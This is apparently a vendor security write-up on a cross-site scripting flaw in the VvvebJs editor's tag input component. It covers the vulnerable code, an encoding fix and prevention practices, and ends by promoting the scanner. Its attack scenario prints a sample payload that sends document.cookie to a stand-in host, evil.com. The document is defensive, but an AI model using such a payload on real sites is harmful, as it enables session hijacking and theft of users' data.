Introduction
The _editor/VvvebJs/libs/builder/inputs.js file handles the rendering of various input components in the VvvebJs visual web editor, including a tag input system that lets users add and manage tags. At line 932, within the TagsInput component's init method, a critical flaw existed: the data object—which contains user-controlled values—was passed directly to jQuery's tagsInput() function without any sanitization. This meant that any string value a user typed into a tags field could be rendered as raw HTML in the DOM, opening the door to arbitrary JavaScript execution.
This vulnerability is particularly dangerous in a web editor context because editors typically operate with elevated privileges—access to page content, design elements, and potentially backend APIs. An attacker exploiting this XSS could hijack the editor session, modify page content silently, or exfiltrate sensitive data.
The Vulnerability Explained
The Vulnerable Code
Here's the original code at line 932 of inputs.js:
this.element = this.render("tagsinput", data);
$('input', this.element).tagsInput(data);//using default parameters
The data object flows from user interaction—specifically the values users type into tag input fields. The tagsInput() jQuery plugin takes this data and renders it into DOM elements. When data contains string properties (like tag names, placeholders, or default values), these strings are inserted into the HTML structure of the tags widget without any encoding.
How the Attack Works
Consider this specific attack scenario in the VvvebJs editor:
-
An attacker crafts a malicious tag value such as:
<img src=x onerror="document.location='https://evil.com/steal?cookie='+document.cookie"> -
This value enters the
dataobject that gets passed toTagsInput.init() -
When
$('input', this.element).tagsInput(data)executes, the plugin renders the tag value directly into the DOM -
The browser parses the injected
<img>tag, triggers theonerrorhandler, and executes the attacker's JavaScript -
The malicious script now runs in the context of the web editor, with access to:
- The editor's session cookies
- The DOM of the page being edited
- Any API endpoints the editor communicates with
- Local storage data
In a multi-user environment (like a CMS), an attacker could inject a malicious tag that persists and fires when another user opens the editor, creating a stored XSS attack chain.
Real-World Impact
For the VvvebJs web editor specifically:
- Session hijacking: Steal editor authentication tokens
- Content manipulation: Silently inject malicious content into pages being designed
- Privilege escalation: If the editor has admin capabilities, the attacker gains admin access
- Supply chain attack: Inject malicious scripts into pages that will be served to end users
The Fix
The fix introduces HTML entity encoding for all string values in the data object before they reach the tagsInput() function:
Before (Vulnerable)
this.element = this.render("tagsinput", data);
$('input', this.element).tagsInput(data);//using default parameters
return this.element;
After (Fixed)
this.element = this.render("tagsinput", data);
let safeData = Object.assign({}, data);
for (let key in safeData) {
if (typeof safeData[key] === 'string') {
safeData[key] = $('<div>').text(safeData[key]).html();
}
}
$('input', this.element).tagsInput(safeData);//using default parameters
return this.element;
How This Fix Works
-
Object.assign({}, data)— Creates a shallow copy of the originaldataobject. This preserves the original data for any other use while creating a sanitized version for DOM insertion. -
for (let key in safeData)— Iterates over every property in the data object, ensuring no string value is missed. -
typeof safeData[key] === 'string'— Only processes string values, leaving numbers, booleans, and objects untouched (since only strings can contain HTML injection payloads). -
$('<div>').text(safeData[key]).html()— This is the jQuery idiom for HTML entity encoding:
-.text(value)sets the text content of a detached<div>, which automatically escapes HTML entities
-.html()retrieves the escaped HTML string
- Characters like<,>,",', and&become<,>,",', and&
After encoding, the malicious payload <img src=x onerror="alert(1)"> becomes the harmless string <img src=x onerror="alert(1)"> which renders as visible text rather than executable HTML.
Prevention & Best Practices
1. Encode at the Point of Output
Always sanitize data immediately before it enters a dangerous sink (DOM insertion, innerHTML, etc.), not at the point of input. This ensures protection even if data flows through unexpected paths.
2. Use Safe DOM APIs
Prefer .textContent or jQuery's .text() over .innerHTML or .html() when rendering user data. These APIs treat all input as text, never as HTML.
3. Content Security Policy (CSP)
Deploy a strict Content Security Policy that blocks inline script execution:
Content-Security-Policy: script-src 'self'; object-src 'none';
4. Audit jQuery Plugin Usage
jQuery plugins like tagsInput() often use .html() internally. When passing user data to third-party plugins, always pre-sanitize the input since you can't control the plugin's internal DOM handling.
5. Use DOMPurify for Complex HTML
For cases where some HTML formatting is needed, use a library like DOMPurify:
import DOMPurify from 'dompurify';
safeData[key] = DOMPurify.sanitize(safeData[key]);
6. Static Analysis Integration
Configure ESLint with security plugins or Semgrep rules to flag patterns where user data flows into jQuery DOM manipulation functions without encoding.
Key Takeaways
- Never pass raw user data to jQuery plugins that manipulate the DOM — the
tagsInput()function at line 932 blindly trusted its input, creating an XSS vector in a web editor with elevated privileges. - The
$('<div>').text(value).html()pattern is jQuery's standard encoding idiom — it leverages the browser's built-in text node escaping to safely encode HTML entities without external libraries. - Shallow-copying with
Object.assign({}, data)before sanitization preserves the original data object for other consumers while ensuring the DOM-bound copy is safe. - Web editors are high-value XSS targets — because they operate with broad DOM access and often connect to backend APIs, a single XSS in VvvebJs's input handling could cascade into content injection across all pages built with the editor.
- Type-checking before encoding (
typeof === 'string') ensures the fix doesn't break non-string configuration values like numeric limits or boolean flags thattagsInput()may also expect.
How Orbis AppSec Detected This
- Source: User-controlled string values entering the
dataparameter of theTagsInput.init()method in_editor/VvvebJs/libs/builder/inputs.js - Sink:
$('input', this.element).tagsInput(data)at line 932, which inserts string properties directly into the DOM via the jQuery tagsInput plugin - Missing control: No HTML entity encoding or sanitization between user input and DOM insertion
- CWE: CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- Fix: Added HTML entity encoding via
$('<div>').text(value).html()for all string properties in the data object before passing totagsInput()
Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.
Conclusion
This DOM-based XSS vulnerability in VvvebJs's TagsInput component demonstrates a common but dangerous pattern in jQuery applications: trusting user data when passing it to plugins that manipulate the DOM. The fix is surgical and effective—encoding string values at the last safe moment before they enter the dangerous sink. For developers building web editors or any application that renders user-provided content, this serves as a reminder that every path from user input to DOM insertion must include proper output encoding, regardless of whether you control the rendering logic or delegate it to a third-party plugin.